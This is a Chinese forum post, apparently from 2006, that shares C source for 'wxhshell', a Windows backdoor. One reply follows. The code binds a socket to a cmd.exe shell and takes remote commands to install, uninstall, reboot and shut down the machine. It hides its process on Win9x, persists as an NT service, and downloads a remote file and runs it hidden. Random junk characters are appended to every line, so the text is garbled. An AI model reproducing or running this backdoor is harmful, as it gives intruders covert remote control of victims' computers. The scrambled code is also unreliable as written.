  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  fWs*u[S  
  } ICe;p V  
  else { dShGIH?  
D,=#SBJ:Z  
    switch(cmd[0]) { UFj!7gX]  
  D eT$4c*:[  
  // 帮助 ,TB$D]u8  
  case '?': { -'*<;]P+.  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 01RW|rN  
    break; H}CmSo8&  
  } q68m*1?y  
  // 安装 9GTp};Kg  
  case 'i': { 3%Q9521  
    if(Install()) #@1(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4HGS  
    else ST g} Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "i*gJFW|  
    break; V(io!8,  
    } Rs"G8Q9Q  
  // 卸载 n)35-?R/M  
  case 'r': { 'W("s  
    if(Uninstall()) %yl17:h#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M&Ln'BC  
    else n:1Ijh 1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e VQ-?DK  
    break; }*qj,8-9  
    } pDvznpQ  
  // 显示 wxhshell 所在路径 AA=eWg  
  case 'p': { Y"m(hs $  
    char svExeFile[MAX_PATH]; PQh s^D  
    strcpy(svExeFile,"\n\r"); !<~cjgdx  
      strcat(svExeFile,ExeFile); cJTwgm?  
        send(wsh,svExeFile,strlen(svExeFile),0); [9MbNJt 8~  
    break; 3Z#WAhfS:  
    } ga S}>?qk  
  // 重启 N|Xm{@C  
  case 'b': { H5:f&m  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); k6o8'6wN  
    if(Boot(REBOOT)) 0O*kC43E_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p7r/`_'|  
    else { tp&|*M3  
    closesocket(wsh); A%^7D.j  
    ExitThread(0); }owl7G3  
    } *BF[thB:a  
    break; L*vKIP<EMM  
    } l5KO_"hy  
  // 关机 27$,D XD  
  case 'd': { d/~g3n>|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); u3tT=5.D  
    if(Boot(SHUTDOWN)) U)aftH *Pk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .|s,':hA  
    else { j4]3}t0q  
    closesocket(wsh); _z 5W*..  
    ExitThread(0); +PKsiUJ|  
    } Y| ch ;  
    break; <l5m\A  
    } Cz9MXb]B  
  // 获取shell 3hUP>F8  
  case 's': { V RD^>Gi  
    CmdShell(wsh); Z{yH:{Vk  
    closesocket(wsh); 0\@oqw]6hv  
    ExitThread(0); ijzwct#.  
    break; gxAy{ t  
  } "VU/Ucb7  
  // 退出 !H9^j6|  
  case 'x': { WLfDXx 2A  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ae]6F_Qtc*  
    CloseIt(wsh); d~{$,"!-f  
    break; e+{lf*"3  
    } =]/<Kd}A.  
  // 离开 jF/S2Ty2  
  case 'q': { LNHi }P~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); { w sT  
    closesocket(wsh); v'S5F@ln  
    WSACleanup(); BNI)y@E^X  
    exit(1); `r~3Pf).4  
    break; 9 Qa_3+.B  
        } M'|p<SO]  
  } 4i^WE;|s  
  } u |.7w 2  
{>~9?Xwh   
  // 提示信息 `<M>"~W  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RgQs`aI  
} _:p-\Oo.  
  } 2+~gZxHq  
:Q@/F;Z?  
  return; uLPBl~Y  
} 5/7(>ivn  
mw;4/ /R  
// shell模块句柄 AYN dV(  
int CmdShell(SOCKET sock) |5X[/Q*K`W  
{ [;sTl~gC  
STARTUPINFO si; BOq9\g`5s  
ZeroMemory(&si,sizeof(si)); P?P.QK  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  Y#~A":A  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a'dlA da  
PROCESS_INFORMATION ProcessInfo; a_?b <  
char cmdline[]="cmd"; R*6B@<p,i  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /wt7KL- I  
  return 0; \x]\W#C  
}  P Je_qP  
JPng !tvR  
// 自身启动模式 8UqH"^9.Q7  
int StartFromService(void) xSSEDfq  
{ tpO '<b  
typedef struct ,-8 -Y>[  
{ Q9xb7)G  
  DWORD ExitStatus; `M 'tuQ M  
  DWORD PebBaseAddress; ~ A=Gra  
  DWORD AffinityMask; @7C.0>W_A  
  DWORD BasePriority; N~l*//Ep  
  ULONG UniqueProcessId; P*~ vWYH9  
  ULONG InheritedFromUniqueProcessId; AovBKB $  
}   PROCESS_BASIC_INFORMATION; @DY"~c cH  
nw%`CnzT  
PROCNTQSIP NtQueryInformationProcess; y RXWd*9  
gkA_<,38  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +{V`{'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >$E;."a  
g<.Is V  
  HANDLE             hProcess; ci$J?a  
  PROCESS_BASIC_INFORMATION pbi; Ef28  
*KY:U&*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); jnT Tj l  
  if(NULL == hInst ) return 0; }zQgS8PQH  
vgD+Y   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); DF4CB#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @p WN5VL  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {B4qeG5  
/WE\0bf  
  if (!NtQueryInformationProcess) return 0; *vuI'EbM  
5rdB>8W  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1PUZB`"3  
  if(!hProcess) return 0; ,qv\Y]  
L~Peerby  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /w(g:e  
{tY1$}R  
  CloseHandle(hProcess); kmc"`Ogotw  
"#E<Leh'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <<A#4!f  
if(hProcess==NULL) return 0; n-l_PhPQ`  
CW?Z\  
HMODULE hMod; ftR& 5 !Wm  
char procName[255]; 83t/ \x,Q  
unsigned long cbNeeded; cGgfCF^`  
c$7~EP  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); gK({InOP  
Z_m<x!  
  CloseHandle(hProcess); YI,t{Wy  
62zu;p9m  
if(strstr(procName,"services")) return 1; // 以服务启动 111A e *U  
5:f!EMb  
  return 0; // 注册表启动 L6{gwoZf3  
} F=1 #qo<?  
yxp,)os:  
// 主模块 :;]9,n  
int StartWxhshell(LPSTR lpCmdLine) v x/YWZ  
{ d!0rq4v7  
  SOCKET wsl; .7g h2K  
BOOL val=TRUE; WK(X/!1/k  
  int port=0; !W@mW 5J|  
  struct sockaddr_in door; -8Mb~Hfl0  
Ue >]uZ|  
  if(wscfg.ws_autoins) Install(); rpm\!O  
_Tor9Tj  
port=atoi(lpCmdLine); nM2<u[{gF  
(b<0=U   
if(port<=0) port=wscfg.ws_port;  ,S=[#  
rD SYR\cg  
  WSADATA data; 9|Jv>Ur=)2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; I@/ G#3Zr  
0h*Le  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Fw\Z[nh  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =zK4jiM1  
  door.sin_family = AF_INET; 4hwb] Yz  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); J#F5by%8  
  door.sin_port = htons(port); *0!p_Hco  
Hf]:m hH  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9AX}V6\+  
closesocket(wsl); 8$\j| mN  
return 1; ZxwrlaA  
} %N<5ST>(  
hDJG.,r  
  if(listen(wsl,2) == INVALID_SOCKET) { )PP yJ@M  
closesocket(wsl); 8e*skL  
return 1; K%\r[NF  
} yT@Aj;X0v  
  Wxhshell(wsl); h' !C  
  WSACleanup(); ?0qD(cfx<  
pS ](Emn`.  
return 0; {jB> ]7  
e,e(t7c?d  
} 'QT~o-U  
?`Yu~a{  
// 以NT服务方式启动 .k]`z>uv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (is',4^b  
{ $It mYj.m  
DWORD   status = 0; D0FX"BY7  
  DWORD   specificError = 0xfffffff; 3P2{M}WIl  
:&vX0 Ce:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?IHt T3'Rt  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; uv/\1N;V3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jj2iF/  
  serviceStatus.dwWin32ExitCode     = 0; Intuda7e1  
  serviceStatus.dwServiceSpecificExitCode = 0; b},2A'X  
  serviceStatus.dwCheckPoint       = 0; G^k'sgy.  
  serviceStatus.dwWaitHint       = 0; 5+M,X kg  
s;OGb{H7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); L?d?O  
  if (hServiceStatusHandle==0) return; }h45j84)  
<WZ{<'ajI  
status = GetLastError(); ?Te#lp;`~  
  if (status!=NO_ERROR) 8Re[]bE  
{ /GO-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; xX%ppD7  
    serviceStatus.dwCheckPoint       = 0; vF$( Y/  
    serviceStatus.dwWaitHint       = 0; l'EO@D/M  
    serviceStatus.dwWin32ExitCode     = status; ]i.N'O<p  
    serviceStatus.dwServiceSpecificExitCode = specificError; QX<n^W  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); A,<5W }  
    return; {wz)^A sy  
  } ,^?g\&f(  
y2_rm   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @^UgdD,BS,  
  serviceStatus.dwCheckPoint       = 0; mcd{:/^?  
  serviceStatus.dwWaitHint       = 0; wG[n wt0L  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); f%o[eW#  
} HRyFjAR\?  
&Uam4'B6-  
// 处理NT服务事件,比如:启动、停止 bQautRW  
VOID WINAPI NTServiceHandler(DWORD fdwControl) HXKM<E{j  
{ q8d](MaX  
switch(fdwControl) Ow/,pC >V  
{ +fXwbZ?p  
case SERVICE_CONTROL_STOP: f-|?He4O]  
  serviceStatus.dwWin32ExitCode = 0; KBB)xez8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; e^O:I  
  serviceStatus.dwCheckPoint   = 0; Z|n|gxe  
  serviceStatus.dwWaitHint     = 0; r&4Xf# QD6  
  { =;0-t\w!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'r]6 GC8Z$  
  } Z8$BgP  
  return; (uvQ/!  
case SERVICE_CONTROL_PAUSE: P! +Gwm{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; z;1dMQ,#  
  break; T$D(Y`zdn  
case SERVICE_CONTROL_CONTINUE: 0 MK}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5VTVx1P[8  
  break; aG }oI!  
case SERVICE_CONTROL_INTERROGATE: /(JG\Ut  
  break; -n9&W  
}; ^\ x'4!W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fY&TI}Y  
} #!F>cez  
wPM>-F  
// 标准应用程序主函数 6AJk6 W^Z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) dBd7#V:}yV  
{ 4C3_ gm  
p$ \>3\  
// 获取操作系统版本 v ^h:E  
OsIsNt=GetOsVer(); Q<V(#)*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 61H_o7XXk  
Xb%Q%"?~  
  // 从命令行安装 vWoppt  
  if(strpbrk(lpCmdLine,"iI")) Install(); /*y5W-'d^  
fG'~@'P~  
  // 下载执行文件 ?0t^7HMP  
if(wscfg.ws_downexe) { L=#NUNiXr  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) zfKO)Itd  
  WinExec(wscfg.ws_filenam,SW_HIDE); } e$  
} h_(M#gG  
Wz' !stcp  
if(!OsIsNt) { J~5V7B  
// 如果时win9x,隐藏进程并且设置为注册表启动 S9l,P-X`  
HideProc(); 0vj CSU-X  
StartWxhshell(lpCmdLine); <rE>?zvm  
} j $q5m 24L  
else ~wDXjn"U&  
  if(StartFromService()) I0zx'x)F  
  // 以服务方式启动 BEaF-*?A  
  StartServiceCtrlDispatcher(DispatchTable); @??3d9I  
else ar<8wq<4G  
  // 普通方式启动 CKn2ZL  
  StartWxhshell(lpCmdLine); _dm0*T ?  
&qS%~h%2  
return 0; u$R5Q{H_  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
10+5=?,请输入中文答案:十五